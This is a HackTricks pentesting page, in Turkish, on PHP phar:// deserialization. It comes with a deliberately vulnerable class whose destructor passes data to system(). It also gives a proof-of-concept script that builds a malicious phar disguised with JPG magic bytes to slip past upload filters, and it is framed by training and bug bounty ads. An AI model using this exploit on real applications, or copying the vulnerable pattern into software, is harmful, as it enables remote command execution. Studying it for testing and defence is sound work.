hacktricks/pentesting-web/file-inclusion/phar-deserialization.md

5.3 KiB
Raw Blame History

phar:// deserialization

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Bug bounty ipucu: Intigriti'ye kaydolun, hackers tarafından, hackers için oluşturulmuş premium bir bug bounty platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

Phar dosyaları (PHP Archive) serileştirilmiş formatta meta veri içerir, bu nedenle, ayrıştırıldığında bu meta veri deserileştirilir ve PHP kodu içinde bir deserileştirmeığını kötüye kullanmayı deneyebilirsiniz.

Bu özelliğin en iyi yanı, bu deserileştirmenin file_get_contents(), fopen(), file() veya file_exists(), md5_file(), filemtime() veya filesize() gibi PHP kodunu eval etmeyen PHP fonksiyonları kullanıldığında bile gerçekleşmesidir.

Yani, bir PHP web uygulamasının phar:// protokolünü kullanarak keyfi bir dosyanın boyutunu alabileceği bir durumu hayal edin ve kodun içinde aşağıdaki gibi bir sınıf bulursunuz:

{% code title="vunl.php" %}

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

{% endcode %}

Yüklenildiğinde bu sınıfı kötüye kullanarak rastgele komutlar çalıştıracak bir phar dosyası oluşturabilirsiniz:

{% code title="create_phar.php" %}

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

{% endcode %}

JPG'nin sihirli baytlarının (\xff\xd8\xff) phar dosyasının başına eklendiğine dikkat edin, bu mümkün dosya yükleme kısıtlamalarını aşmak için.
test.phar dosyasını şu şekilde derleyin:

php --define phar.readonly=0 create_phar.php

Ve zayıf kodu kötüye kullanarak whoami komutunu çalıştırın:

php vuln.php

Referanslar

{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}

Hata ödülü ipucu: Intigriti için kayıt olun, hackerlar tarafından, hackerlar için oluşturulmuş premium bir hata ödülü platformu! Bugün https://go.intigriti.com/hacktricks adresine katılın ve $100,000'a kadar ödüller kazanmaya başlayın!

{% embed url="https://go.intigriti.com/hacktricks" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}